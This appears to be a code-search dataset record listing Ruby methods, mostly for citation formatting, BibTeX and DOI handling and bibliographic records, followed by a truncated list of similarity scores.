"def initialize solr_doc, solr_result, citations, user_state\n logger.debug \"initializing a mongo DOI record for work w/ resourceTypeGeneral='#{solr_doc['resourceTypeGeneral'] || \"unknown\"}', resourceType='#{solr_doc['resourceType'] || \"unknown\"}', DOI name #{solr_doc['doi']}\"\n logger.debug {solr_doc.ai}\n @doi = solr_doc['doi']\n @type = solr_doc['resourceTypeGeneral']\n @subtype = solr_doc['resourceType']\n @doc = solr_doc\n @score = solr_doc['score']\n @normal_score = ((@score / solr_result['response']['maxScore']) * 100).to_i\n @citations = citations\n @hashed = solr_doc['mongo_id']\n @user_claimed = user_state[:claimed]\n @in_user_profile = user_state[:in_profile]\n @highlights = solr_result['highlighting'] || {}\n @publication = find_value('publisher')\n @title = solr_doc['title'] ? solr_doc['title'].first.strip : nil\n @date = solr_doc['date'] ? solr_doc['date'].last : nil\n @year = find_value('publicationYear')\n @month = solr_doc['month'] ? ENGLISH_MONTHS[solr_doc['month'] - 1] : (@date && @date.size > 6 ? ENGLISH_MONTHS[@date[5..6].to_i - 1] : nil)\n @day = solr_doc['day'] || @date && @date.size > 9 ? @date[8..9].to_i : nil\n # @volume = find_value('hl_volume')\n # @issue = find_value('hl_issue')\n @authors = find_value('creator')\n # @first_page = find_value('hl_first_page')\n # @last_page = find_value('hl_last_page')\n @rights = solr_doc['rights']\n @related = solr_doc['relatedIdentifier']\n @alternate = solr_doc['alternateIdentifier']\n @version = solr_doc['version']\n\n # Insert/update record in MongoDB\n # Hack Alert (possibly)\n MongoData.coll('dois').update({ doi: @doi }, {doi: @doi,\n title: @title,\n type: @type,\n subtype: @subtype,\n publication: @publication,\n contributor: @authors,\n published: {\n year: @year,\n month: @month,\n day: @day } }, \n { :upsert => true })\n end",
"def documents\n # This function and its helpers are side-effecty for speed\n @documents ||= raw[:hits][:hits].map do |hit|\n doc = extract_source(hit)\n copy_underscores(hit, doc)\n copy_highlight(hit, doc)\n doc\n end\n end",
"def index\n @citations = Citation.all\n\n render json: @citations\n end",
"def md_cleanup\n puts ' cleaning up obsolete stuff in Markdown'\n # generation/output of the bibliography (note: the LaTeX package _biblatex_ is used)\n # a) the JLESC publications\n document.content.gsub! BIBLIOGRAPHY_MATCHER_JLESC, '\\printbibliography[heading=none,keyword=own]'\n # b) external references\n document.content.gsub! BIBLIOGRAPHY_MATCHER_EXTERNAL, '\\printbibliography[heading=none,notkeyword=own]'\n\n # the _jekyll-scholar_ +cite+ Liquid tag needs to be replace as it generates HTML code\n document.content.gsub! CITATION_MATCHER, \"\\\\cite{\\\\k<bibtex_id>-#{document.data['slug'].gsub(/_/, '-')}}\"\n end",
"def read(files)\n files.map do |page|\n @unfiltered_content << Page.new(@site, @site.source, @dir, page)\n end\n @unfiltered_content.select { |page| site.publisher.publish?(page) }\n end",
"def lookup_doi(doi)\n doi = doi.downcase.gsub('doi:','').gsub('http://','').gsub('dx.doi.org/','').gsub('doi>','').gsub('doi ','').strip\n url = \"http://dx.doi.org/#{doi}\"\n return open(url, \"Accept\" => \"text/bibliography; style=bibtex\").read\nend",
"def get_citations(word, *args)\n http_method = :get\n path = '/word/{word}/citations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def citations_load_bibtex_file(file)\n app.config[:bibtex] = BibTeX.open(file)\n app.config[:bibtex].replace\n app.config[:bibtex].convert(:latex)\n end",
"def read(files)\n files.each do |page|\n @unfiltered_content << Page.new(@site, @site.source, @dir, page)\n end\n @unfiltered_content.select { |page| site.publisher.publish?(page) }\n end",
"def export_as_chicago_citation_txt\n get_citation_style(:chicago)&.html_safe || super # TODO:CMOS for non-MARC\n end",
"def count_geographic_occurrences_of_publications_from_user(user)\n count_geographic_occurrences_of_publications(user.publications)\n end",
"def parse_years_publications year_publications, year\n\t\[email protected]('div.spis-tresci').each do |link|\n\t\t\tpublication_contributions = []\n\t\t\tedition_name = parse_publication_data link, publication_contributions\n\t\t\t\n\t\t\tedition = Publication.new(edition_name, publication_contributions, year)\n\t\t\tyear_publications.push(edition)\n\t\tend\n\tend",
"def rebuild_competitors(bib_numbers)\n clear_competitors\n build_competitors(bib_numbers)\n end",
"def copy\n out = ''\n\n Selection.each do |dd|\n docu = dd.cite_key.get\n docu.strip!\n out << \"[@#{docu}] \"\n end\n\n pbcopy(out.strip)\n growl(\"#{Selection.size} citation references copied to the clipboard\")\nend",
"def import_bibtex\n\n bibtex_final = try {get_bibtex_from_page}\n fail \"Could not extract BibTeX citation from this page\" unless bibtex_final\n\n bibdesk = Appscript.app(\"BibDesk\")\n bibdesk.activate\n document = bibdesk.document.get[0].import({:from => bibtex_final})\n citekey = document[0].cite_key.get\n\n add_to_jsonbib(citekey)\n\n if bibtex_final.scan(/url \\= \\{(.+?)\\}/)\n fname = $~[1]\n exit unless fname.index(\"http\")\n growl \"Attempting to automatically download and link PDF...\"\n `rm \"/tmp/pdftmp.pdf\"`\n\n try { dl_file(fname, \"/tmp/pdftmp.pdf\", PDF_content_types) }\n # unless File.size?(\"/tmp/pdftmp.pdf\") && Proxy_url != ''\n # fname.gsub!(/^(.+?)\\:\\/\\/(.+?)\\/(.+?)$/,\"\\1://\\2.#{Proxy_url}/\\3\")\n # try { dl_file(fname, \"/tmp/pdftmp.pdf\", \"application/pdf\") }\n # end\n unless File.size?(\"/tmp/pdftmp.pdf\")\n fail \"Not able to download file from #{fname}\"\n end\n\n f = MacTypes::FileURL.path('/tmp/pdftmp.pdf')\n document[0].linked_files.add(f,{:to =>d[0]})\n document[0].auto_file\n\n growl(\"PDF added\", \"File added successfully to #{citekey}\")\n end\nend",
"def add_docidentifier\n @bib.docidentifier.each do |i|\n case i.type\n when \"isbn\" then @item.isbn = i.id\n when \"lccn\" then @item.lccn = i.id\n when \"issn\" then @item.issn = i.id\n end\n end\n end",
"def citation(args, options)\n bibtex =\n \"\"\"\n @misc{Kra2015,\n title = {A distributed HTTP-based and REST-like ping-pong system for test and benchmarking purposes.},\n author = {{Nane Kratzke}},\n organization = {L\\\\\\\"ubeck University of Applied Sciences},\n address = {L\\\\\\\"ubeck, Germany},\n year = {2015},\n howpublished = {\\\\url{https://github.com/nkratzke/pingpong}}\n }\n \"\"\"\n\n return bibtex if options.bibtex\n\n \"\"\"\n To cite ppbench in publications use:\n\n Kratzke, Nane (2015). A distributed HTTP-based and REST-like ping-pong system for test and benchmarking purposes.\n Lübeck University of Applied Sciences, Lübeck, Germany. URL https://github.com/nkratzke/pingpong.\n\n A BibTeX entry for LaTeX users is: #{bibtex}\n\n \"\"\"\nend",
"def create\n @references_citation = References::Citation.new(references_citation_params)\n\n respond_to do |format|\n if @references_citation.save\n format.html { redirect_to @references_citation, notice: 'Citation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @references_citation }\n else\n format.html { render action: 'new' }\n format.json { render json: @references_citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge_one(n)\n\n # if the primary library (self) does not contain the entry, don't merge\n # unless --merge option given\n citekey = n.citekey\n unless self.has_key?(citekey) and @opts[:add] == false\n STDERR.puts \"<#{n.citekey}> do not exist in primary bib file. use --add to force adding them\"\n else\n old = self[citekey]\n if old.bib_hash == n.bib_hash # if contents is same.. don't replace\n STDERR.puts \"Skiping: <#{citekey}>\"\n elsif old.inconsistent?(n)\n STDERR.puts \"Inconsistent: <#{citekey}>\"\n if @opts[:dump_mismatch]\n STDERR.puts \"----- #{old.bib_hash}\"\n STDERR.puts old.to_s\n STDERR.puts \"----- #{n.bib_hash}\"\n STDERR.puts n.to_s\n end\n else\n if @opts[:dump_mismatch]\n STDERR.puts \"----- #{old.bib_hash}\"\n STDERR.puts old.to_s\n STDERR.puts \"----- #{n.bib_hash}\"\n STDERR.puts n.to_s\n end\n\n if @opts[:overwrite] # dont overwrite unless specified\n STDERR.puts \"Replacing: <#{citekey}>\"\n self[citekey] = n\n else\n STDERR.puts \"*NOT* Replacing: <#{citekey}> -- use --overwrite to replace\"\n end\n end\n end\n end",
"def entry(style)\n processor = CiteProc::Processor.new(style: style.style, format: 'html')\n\n processor.register(citeproc_item)\n processor.render(:bibliography, id: @doc.uid)[0]\n end",
"def user_entered_citation?(uml_request)\n return false unless uml_request && uml_request.referrer_id\n id = uml_request.referrer_id\n return id == 'info:sid/sfxit.com:citation' || id == umlaut_config.lookup!(\"rfr_ids.citation\") || id == umlaut_config.lookup!('rfr_ids.opensearch')\n end",
"def update_info_using_crossref\n result=Result.new\n ri_json=CrossrefDoi.reference_integrator_json(self[:doi])\n if ri_json\n fields = [:title, :author, :year, :journal, :volume, :pages, :doi, :journal_abbr, :abstract]\n update_data=fields.inject({}) do |ac,v|\n ac[v]=ri_json.send(v) unless ri_json.send(v).nil?\n ac\n end\n\n self.update(update_data) unless update_data.keys.length==0\n end\n result\n end",
"def append_available_content_for_collection!(collection)\n collection.each do |cpe|\n cpe[:content] = adapter_for_content_profile_entry(cpe).preload_available_content_list(cpe)\n if cpe[:content].present?\n cpe[:content].each do |item|\n if cpe[:content_type].include?('LicensedStates')\n item[:filename] = long_state_name_from_number(item[:filename]).to_s\n end\n end\n end\n end\n collection\n end",
"def update!(**args)\n @citation = args[:citation] if args.key?(:citation)\n @safe_html_citation = args[:safe_html_citation] if args.key?(:safe_html_citation)\n end",
"def sole_authored_works\n @sole_authored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n if self.is_sole_author_of?(w)\n @sole_authored_works << w\n end\n end\n return @sole_authored_works \n end",
"def get_citizens\n citizens = self._get_citizens\n self.apply_to_children { |entity| citizens.concat(entity._get_citizens) }\n citizens.uniq { |c| c.id }.sort_by { |c| c.last_activity_at }.reverse\n end",
"def count_geographic_occurrences_of_publications(publications)\n publications\n .flat_map(&:locations)\n .reduce(Hash.new(0)) { |result, l| result[l] += 1; result }\n .map { |l, z| { name: l.description, lat: l.latitude.to_f, lon: l.longitude.to_f, z: z } }\n end",
"def initialize(*dictfiles)\n @searchmode = 0\n Dir.mkdir(dictDir) unless File.exist?(dictDir)\n\n # 固定辞書初期化\n @dc = DictCache.new\n if !@dc[\"kanji\"] then\n DictCache.createCache(dictfiles)\n end\n\n # 個人辞書を読出し\n @localdict = loadDict(localDictFile) \n\n # 学習辞書を読出し\n @studydict = loadDict(studyDictFile)\n end",
"def convert_to_csv(path)\n # When pulling from github, get: PDF does not contain EOF marker\n # io = open('https://github.com/openelections/openelections-sources-ks/blob/master/Johnson/2016%20Johnson%2C%20KS%20precinct-level%20election%20results.pdf')\n #pdf_reader = PDF::Reader.new(io)\n #path = File.expand_path(File.join(File.dirname(__FILE__), \"..\", \"..\", \"..\", \"openelections-sources-ks\", \"Johnson\", \"2016\\ Johnson\\,\\ KS\\ precinct-level\\ election\\ results.pdf\"))\n #path = File.expand_path(File.join(File.dirname(__FILE__), \"..\", \"..\", \"..\", \"openelections-sources-ks\", \"Johnson\", \"2016_Johnson.pdf\"))\n\n pdf_reader = PDF::Reader.new(path)\n File.delete(\"#{@county}.csv\")\n CSV.open(\"#{@county}.csv\",\"wb\") do |csv|\n csv << [\"county\",\"precinct\",\"office\",\"district\",\"party\",\"candidate\",\"votes\"]\n pdf_reader.pages.each do |page|\n @candidates.clear\n page.text.each_line do |line|\n # skip short or garbage lines\n if line.length < 4\n next\n end\n \n # Set the office\n if /PRESIDENT\\/VP/ =~ line\n @office = 'President'\n next\n elsif /US SENATOR/ =~ line\n @office = 'U.S. Senate'\n next\n elsif office_match = line.match(/US REP (?<rx_district>\\d+)/)\n @office = 'U.S House'\n @district = office_match[:rx_district]\n next\n elsif office_match = line.match(/STATE SEN (?<rx_district>\\d+)/)\n #@set_break = true\n @office = 'State Senate'\n @district = office_match[:rx_district]\n next\n elsif office_match = line.match(/STATE REP (?<rx_district>\\d+)/)\n @office = 'State House'\n @district = office_match[:rx_district]\n next\n elsif /DISTRICT ATTORNEY/ =~ line\n @set_break = true\n next\n end \n\n # for the beginning of the document with cumulative detail\n if @office == ''\n # skip going through line by line until office is set\n next\n end \n header_regex = /Reg. Voters\\s+Total Votes\\s+Times\\s+Blank\\s+Times\\s+(?<rx_candidate_1>[a-zA-Z|' '|\\)|\\(]+)\\s{2,}(?<rx_candidate_2>[a-zA-Z|\\s|\\)|\\(]+)\\n/\n spill_over_header_regex_1 = /\\s{2,}(?<rx_candidate_1>[a-zA-Z|' '|\\)|\\(]+)\\s{2,}Write-In Votes/\n spill_over_header_regex_2 = /\\s{2,}(?<rx_candidate_1>[a-zA-Z|' '|\\)|\\(]+)\\s{2,}(?<rx_candidate_2>[a-zA-Z|\\s|\\)|\\(]+)\\s{2,}Write-In Votes/\n spill_over_header_regex_only_write_in = /\\s{5,}Write-In Votes/\n\n line_item_regex = /\\s+(?<precinct>[a-zA-Z|' ']+\\d-\\d+)\\s+(?<reg_voters>\\d+)\\s+(?<total_voters>\\d+)\\s+(?<blank_votes>\\d+)\\s+(?<over_voted>\\d+)\\s+(?<candidate_1_votes>\\d+)\\s+(?<candidate_1_percent>\\d+.\\d+%)\\s+(?<candidate_2_votes>\\d+)\\s+(?<candidate_2_percent>\\d+.\\d+%)/\n line_item_regex_write_in = /\\s+(?<precinct>[a-zA-Z|' ']+\\d-\\d+)\\s+(?<reg_voters>\\d+)\\s+(?<total_voters>\\d+)\\s+(?<blank_votes>\\d+)\\s+(?<over_voted>\\d+)\\s+(?<candidate_1_votes>\\d+)\\s+(?<candidate_1_percent>\\d+.\\d+%)\\s+(?<candidate_2_votes>\\d+)\\s+(?<candidate_2_percent>\\d+.\\d+%)\\s+(?<write_in_votes>\\d+)\\s+(?<write_in_percent>\\d+.\\d+%)/\n\n spill_over_line_item_regex_0 = /\\s+(?<precinct>[a-zA-Z|' ']+\\d-\\d+)\\s+(?<write_in_votes>\\d+)\\s+(?<write_in_percent>\\d+.\\d+%)/\n spill_over_line_item_regex_1 = /\\s+(?<precinct>[a-zA-Z|' ']+\\d-\\d+)\\s+(?<candidate_1_votes>\\d+)\\s+(?<candidate_1_percent>\\d+.\\d+%)\\s+(?<write_in_votes>\\d+)\\s+(?<write_in_percent>\\d+.\\d+%)/\n spill_over_line_item_regex_2 = /\\s+(?<precinct>[a-zA-Z|' ']+\\d-\\d+)\\s+(?<candidate_1_votes>\\d+)\\s+(?<candidate_1_percent>\\d+.\\d+%)\\s+(?<candidate_2_votes>\\d+)\\s+(?<candidate_2_percent>\\d+.\\d+%)\\s+(?<write_in_votes>\\d+)\\s+(?<write_in_percent>\\d+.\\d+%)/\n\n if matches = line.match(header_regex)\n candidate_name_scrub line, matches\n elsif matches = line.match(spill_over_header_regex_2)\n candidate_name_scrub line, matches\n elsif matches = line.match(spill_over_header_regex_1)\n candidate_name_scrub line, matches\n elsif line_match = line.match(line_item_regex)\n csv << [@county,line_match[:precinct],@office,@district,@party_affiliation[@candidates[1]],@candidates[1],line_match[:candidate_1_votes]]\n csv << [@county,line_match[:precinct],@office,@district,@party_affiliation[@candidates[2]],@candidates[2],line_match[:candidate_2_votes]]\n elsif line_match = line.match(spill_over_line_item_regex_2)\n csv << [@county,line_match[:precinct],@office,@district,@party_affiliation[@candidates[1]],@candidates[1],line_match[:candidate_1_votes]]\n csv << [@county,line_match[:precinct],@office,@district,@party_affiliation[@candidates[2]],@candidates[2],line_match[:candidate_2_votes]]\n csv << [@county,line_match[:precinct],@office,@district,\"N/A\",\"write in\",line_match[:write_in_votes]]\n elsif line_match = line.match(spill_over_line_item_regex_1)\n csv << [@county,line_match[:precinct],@office,@district,@party_affiliation[@candidates[1]],@candidates[1],line_match[:candidate_1_votes]]\n csv << [@county,line_match[:precinct],@office,@district,\"N/A\",\"write in\",line_match[:write_in_votes]]\n elsif line_match = line.match(spill_over_line_item_regex_0)\n csv << [@county,line_match[:precinct],@office,@district,\"N/A\",\"write in\",line_match[:write_in_votes]]\n end\n end\n break if @set_break\n end\n end\n end",
"def portfolio\n @portfolio ||= begin\n html_pages = site.site_payload[\"site\"][\"html_pages\"] || []\n html_pages.reject! { |page| page.name == \"404.html\" }\n\n (site.docs_to_write + html_pages).select do |doc|\n doc.is_a?(Jekyll::Locale::Support)\n end\n end\n end",
"def initialize\n calendar = Calendar.instance\n @calendar = calendar\n\n # my_array an array that reads and stores the lines of text file.\n my_array = IO.readlines('collections.txt')\n books_available = Array.new\n book_ids = Array.new\n\n my_array.each_with_index do |line, index|\n title, author = line.chomp.split(/,/)\n id = index + 1\n books_available << Book.new(id, title, author)\n end\n\n # members dictionary that stores the library members.\n @members = Hash.new\n\n # open boolean indicates whether the library is open or closed.\n @open = false\n\n # serve - tracks the current member being served.\n @serve = nil\n\n # books_available array that stores the book objects.\n @books_available = books_available\n\n # book_ids list of book ids returned from search methods.\n @book_ids = book_ids\n\n end",
"def enhance_referent(body, request) \n doc = Nokogiri::XML(body)\n return unless cite = doc.at(\"PubmedArticleSet/PubmedArticle/MedlineCitation\") # Nothing of interest here\n \n return unless article = cite.at(\"Article\") # No more useful metadata \n if abstract = article.at(\"Abstract/AbstractText\")\n request.add_service_response( \n :service=>self,\n :display_text => \"Abstract from #{@display_name}\",\n :content => abstract.inner_text,\n :service_type_value => 'abstract') unless abstract.inner_text.blank? \n end\n \n if journal = article.at(\"Journal\")\n if issn = journal.at('ISSN')\n if issn.attributes['issntype']==\"Print\" \n request.referent.enhance_referent('issn', issn.inner_html)\n else \n request.referent.enhance_referent('eissn', issn.inner_html) \n end\n end\n if jrnlissue = journal.at('JournalIssue')\n if volume = jrnlissue.at('Volume')\n request.referent.enhance_referent('volume', volume.inner_text)\n end\n if issue = jrnlissue.at('Issue')\n request.referent.enhance_referent('issue', issue.inner_text)\n end \n if date = jrnlissue.at('PubDate') \n \n request.referent.enhance_referent('date', openurl_date(date))\n \n end \n end\n \n if jtitle = journal.at('Title')\n request.referent.enhance_referent('jtitle', jtitle.inner_text) \n end\n if stitle = journal.at('ISOAbbreviation')\n request.referent.enhance_referent('stitle', stitle.inner_text)\n end \n \n if atitle = article.at('ArticleTitle')\n request.referent.enhance_referent('atitle', atitle.inner_text)\n end \n \n if pages = article.at('Pagination/MedlinePgn')\n page_str = pages.inner_text\n request.referent.enhance_referent('pages', page_str)\n if spage = page_str.split(\"-\")[0]\n request.referent.enhance_referent('spage', spage.strip)\n end\n end \n \n if author = article.at('AuthorList/Author')\n if last_name = author.at('LastName')\n request.referent.enhance_referent('aulast', last_name.inner_text)\n end\n if first_name = author.at('ForeName')\n request.referent.enhance_referent('aufirst', first_name.inner_text)\n end \n if initials = author.at('Initials')\n request.referent.enhance_referent('auinit', initials.inner_text)\n end \n end \n end \n \n end",
"def create_bibtex(document)\n bibtex = '@book{resource, '\n if document.has? 'author_display'\n bibtex.concat('author = {' + document['author_display'].gsub(/[0-9\\-]/, '') + '},')\n end\n bibtex.concat('title = {' + document['title_display'] + '}')\n if document.has? 'pub_date'\n bibtex.concat(', year = ' + document['pub_date'][0])\n end\n if document.has? 'publisher_display'\n if document['publisher_display'].is_a?(Array)\n bibtex.concat(', publisher = {' + document['publisher_display'][0] + '}')\n else\n bibtex.concat(', publisher = ' + document['publisher_display'].to_s + '}')\n end\n end\n bibtex.concat('}')\n return bibtex\n end",
"def parse_publications_file\n # Each xml file has multiple items\n # Each Item contains the following elements\n # properties\n # md-records -> md-record -> publication\n # components (= files)\n # relations\n # resources\n # Open publications xml file\n pub_xml = File.open(metadata_file) { |f| Nokogiri::XML(f) }\n\n # Each xml file has multiple items\n pub_xml.xpath('/root/item').each do |item|\n # Set defaults\n work_id = nil\n attributes = {}\n files = []\n files_ignored = []\n files_missing = []\n remote_files = []\n error = nil\n\n # Get attributes\n attributes = get_properties(item)\n attributes.merge!(get_metadata(item))\n\n # Get files\n files_list = get_components(item)\n files = files_list[0]\n files_ignored = files_list[1]\n files_missing = files_list[2]\n\n if debug\n log_progress(metadata_file, work_id, @collection, files, files_ignored, files_missing, attributes, error)\n next\n end\n\n # Import publication\n begin\n # Set work id to be same as the id in metadata\n work_id = attributes[:id] unless attributes.fetch(:id, nil).blank?\n h = Importers::HyraxImporter.new('Publication', attributes, files, remote_files, nil, work_id)\n h.import\n rescue StandardError => exception\n error = exception.backtrace\n end\n\n # log progress\n log_progress(metadata_file, work_id, @collection, files, files_ignored, files_missing, attributes, error)\n end\n end",
"def to_json\n CitationRepresenter.new(self).to_json\n end",
"def first_citation_paper\n citation_papers[0]\n end",
"def set_councils\n @councils = Council.all\n end",
"def citation cit, titre, options = nil\n options ||= {}\n options.merge!( target: '_blank')\n build(\"citation/#{cit}/show\", titre, options)\n end",
"def cib\n return @cib if @cib\n @cib = REXML::Document.new(raw_cib)\n end",
"def councils\n data = wheredoivote_data 'councils'\n data.map do |council_data|\n Council.new(\n council_data['council_id'],\n council_data['name'],\n council_data['email']\n )\n end.reject { |c| c.name.empty? }.sort_by(&:name)\n end",
"def read\n filtered_entries.each do |file_path|\n full_path = collection_dir(file_path)\n next if File.directory?(full_path)\n\n if Utils.has_yaml_header? full_path\n read_document(full_path)\n else\n read_static_file(file_path, full_path)\n end\n end\n site.static_files.concat(files) unless files.empty?\n sort_docs!\n end",
"def documents\n authorizations.map(&:document)\n end",
"def chicago_citation(marc)\n authors = get_all_authors(marc)\n author_text = \"\"\n\n # If there are secondary (i.e. from 700 fields) authors, add them to\n # primary authors only if there are no corporate, meeting, primary authors\n if !authors[:primary_authors].blank?\n authors[:primary_authors] += authors[:secondary_authors] unless authors[:secondary_authors].blank?\n elsif !authors[:secondary_authors].blank?\n authors[:primary_authors] = authors[:secondary_authors] if (authors[:corporate_authors].blank? and authors[:meeting_authors].blank?)\n end\n\n # Work with primary authors first\n if !authors[:primary_authors].blank?\n\n # Handle differently if there are more then 10 authors (use et al.)\n if authors[:primary_authors].length > 10\n authors[:primary_authors].each_with_index do |author,index|\n # For the first 7 authors...\n if index < 7\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n end\n author_text << \" et al.\"\n # If there are at least 2 primary authors\n elsif authors[:primary_authors].length > 1\n authors[:primary_authors].each_with_index do |author,index|\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n elsif index + 1 == authors[:primary_authors].length\n author_text << \"and #{name_reverse(author)}.\"\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n else\n # Only 1 primary author\n author_text << authors[:primary_authors].first\n end\n elsif !authors[:corporate_authors].blank?\n # This is a simplistic assumption that the first corp author entry\n # is the only one of interest (and it's not too long)\n author_text << authors[:corporate_authors].first + '.'\n elsif !authors[:meeting_authors].blank?\n # This is a simplistic assumption that the first corp author entry\n # is the only one of interest (and it's not too long)\n author_text << authors[:meeting_authors].first + '.'\n else\n # Secondary authors: translators, editors, compilers\n temp_authors = []\n authors[:translators].each do |translator|\n temp_authors << [translator, \"trans.\"]\n end\n authors[:editors].each do |editor|\n temp_authors << [editor, \"ed.\"]\n end\n authors[:compilers].each do |compiler|\n temp_authors << [compiler, \"comp.\"]\n end\n\n unless temp_authors.blank?\n if temp_authors.length > 10\n temp_authors.each_with_index do |author,index|\n if index < 7\n author_text << \"#{author.first} #{author.last} \"\n end\n end\n author_text << \" et al.\"\n elsif temp_authors.length > 1\n temp_authors.each_with_index do |author,index|\n if index == 0\n author_text << \"#{author.first} #{author.last}, \"\n elsif index + 1 == temp_authors.length\n author_text << \"and #{name_reverse(author.first)} #{author.last}\"\n else\n author_text << \"#{name_reverse(author.first)} #{author.last}, \"\n end\n end\n else\n author_text << \"#{temp_authors.first.first} #{temp_authors.first.last}\"\n end\n end\n end\n title = \"\"\n additional_title = \"\"\n section_title = \"\"\n if marc[\"245\"] and (marc[\"245\"][\"a\"] or marc[\"245\"][\"b\"])\n title << citation_title(clean_end_punctuation(marc[\"245\"][\"a\"]).strip) if marc[\"245\"][\"a\"]\n title << \": #{citation_title(clean_end_punctuation(marc[\"245\"][\"b\"]).strip)}\" if marc[\"245\"][\"b\"]\n end\n if marc[\"245\"] and (marc[\"245\"][\"n\"] or marc[\"245\"][\"p\"])\n section_title << citation_title(clean_end_punctuation(marc[\"245\"][\"n\"])) if marc[\"245\"][\"n\"]\n if marc[\"245\"][\"p\"]\n section_title << \", <i>#{citation_title(clean_end_punctuation(marc[\"245\"][\"p\"]))}.</i>\"\n elsif marc[\"245\"][\"n\"]\n section_title << \".\"\n end\n end\n\n if !authors[:primary_authors].blank? and (!authors[:translators].blank? or !authors[:editors].blank? or !authors[:compilers].blank?)\n additional_title << \"Translated by #{authors[:translators].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:translators].blank?\n additional_title << \"Edited by #{authors[:editors].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:editors].blank?\n additional_title << \"Compiled by #{authors[:compilers].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:compilers].blank?\n end\n\n edition = \"\"\n edition << setup_edition(marc) unless setup_edition(marc).nil?\n\n pub_info = \"\"\n if marc[\"260\"] and (marc[\"260\"][\"a\"] or marc[\"260\"][\"b\"])\n pub_info << clean_end_punctuation(marc[\"260\"][\"a\"]).strip if marc[\"260\"][\"a\"]\n pub_info << \": #{clean_end_punctuation(marc[\"260\"][\"b\"]).strip}\" if marc[\"260\"][\"b\"]\n pub_info << \", #{setup_pub_date(marc)}\" if marc[\"260\"][\"c\"]\n elsif marc[\"264\"] and (marc[\"264\"][\"a\"] or marc[\"264\"][\"b\"])\n pub_info << clean_end_punctuation(marc[\"264\"][\"a\"]).strip if marc[\"264\"][\"a\"]\n pub_info << \": #{clean_end_punctuation(marc[\"264\"][\"b\"]).strip}\" if marc[\"264\"][\"b\"]\n pub_info << \", #{setup_pub_date(marc)}\" if marc[\"264\"][\"c\"]\n elsif marc[\"502\"] and marc[\"502\"][\"a\"] # MARC 502 is the Dissertation Note. This holds the correct pub info for these types of records.\n pub_info << marc[\"502\"][\"a\"]\n elsif marc[\"502\"] and (marc[\"502\"][\"b\"] or marc[\"502\"][\"c\"] or marc[\"502\"][\"d\"]) #sometimes the dissertation note is encoded in pieces in the $b $c and $d sub fields instead of lumped into the $a\n pub_info << \"#{marc[\"502\"][\"b\"]}, #{marc[\"502\"][\"c\"]}, #{clean_end_punctuation(marc[\"502\"][\"d\"])}\"\n end\n\n citation = \"\"\n citation << \"#{author_text} \" unless author_text.blank?\n citation << \"<i>#{title}.</i> \" unless title.blank?\n citation << \"#{section_title} \" unless section_title.blank?\n citation << \"#{additional_title} \" unless additional_title.blank?\n citation << \"#{edition} \" unless edition.blank?\n citation << \"#{pub_info}.\" unless pub_info.blank?\n citation\n end",
"def load_contributions\n @contributions = Hash.new\n repositories.each do |f|\n conts = get_contributions(f)\n @contributions[f] = conts unless conts.empty?\n end\n\n @contributions\n end",
"def get_document_details(doc)\n tmp_hash = {}\n tmp_hash[\"id\"] = doc[\"bibid\"]\n tmp_hash[\"location\"] = doc[\"location\"].present? ? doc[\"location\"] : \"\"\n tmp_hash[\"title\"] = doc[\"fulltitle_display\"].present? ? doc[\"fulltitle_display\"] : \"\"\n if doc[\"format\"].present?\n if doc[\"format\"][1].present? and doc[\"format\"][1] == \"Microform\"\n the_format = doc[\"format\"][1]\n else\n the_format = doc[\"format\"][0]\n end\n else\n the_format = \"\"\n end\n # oclc_id and isbn are used to get the images from googlebooks\n oclc_id = doc[\"oclc_id_display\"].present? ? doc[\"oclc_id_display\"][0] : \"\"\n isbn = doc[\"isbn_display\"].present? ? doc[\"isbn_display\"][0].split(\" \")[0] : \"\"\n tmp_hash[\"format\"] = the_format\n tmp_hash[\"pub_date\"] = doc[\"pub_date_display\"].present? ? doc[\"pub_date_display\"] : \"\"\n tmp_hash[\"publisher\"] = doc[\"publisher_display\"].present? ? doc[\"publisher_display\"] : \"\"\n tmp_hash[\"author\"] = doc[\"author_display\"].present? ? doc[\"author_display\"] : \"\"\n tmp_hash[\"availability\"] = doc[\"availability_json\"].present? ? doc[\"availability_json\"] : \"\"\n tmp_hash[\"locations\"] = doc[\"availability_json\"].present? ? process_locations(doc[\"availability_json\"]) : []\n tmp_hash[\"citation\"] = doc[\"cite_preescaped_display\"].present? ? doc[\"cite_preescaped_display\"] : \"\"\n tmp_hash[\"callnumber\"] = doc[\"callnum_display\"].present? ? doc[\"callnum_display\"] : \"\"\n # the difference between these next two: \"internal_class_label\" gets used in the data attribute\n # of some elements, while the \"display_class_label\" gets displayed in the UI and has the added\n # font awesomne html\n classification = doc[\"classification_display\"].present? ? doc[\"classification_display\"] : \"\"\n tmp_hash[\"internal_class_label\"] = build_class_label(classification)\n tmp_hash[\"display_class_label\"] = tmp_hash[\"internal_class_label\"].gsub(' : ','<i class=\"fa fa-caret-right class-caret\"></i>').html_safe\n # tmp_hash[\"img_url\"] = get_googlebooks_image(oclc_isbn[0], oclc_isbn[1], the_format)\n tmp_hash[\"img_url\"] = get_googlebooks_image(oclc_id, isbn, the_format)\n\n return tmp_hash\n end",
"def new\n @journals = journal_list\n @category = Documents::Category.new\n\n render layout: false\n end"
] |
[
"0.6160191",
"0.6160191",
"0.6107367",
"0.5561566",
"0.55076927",
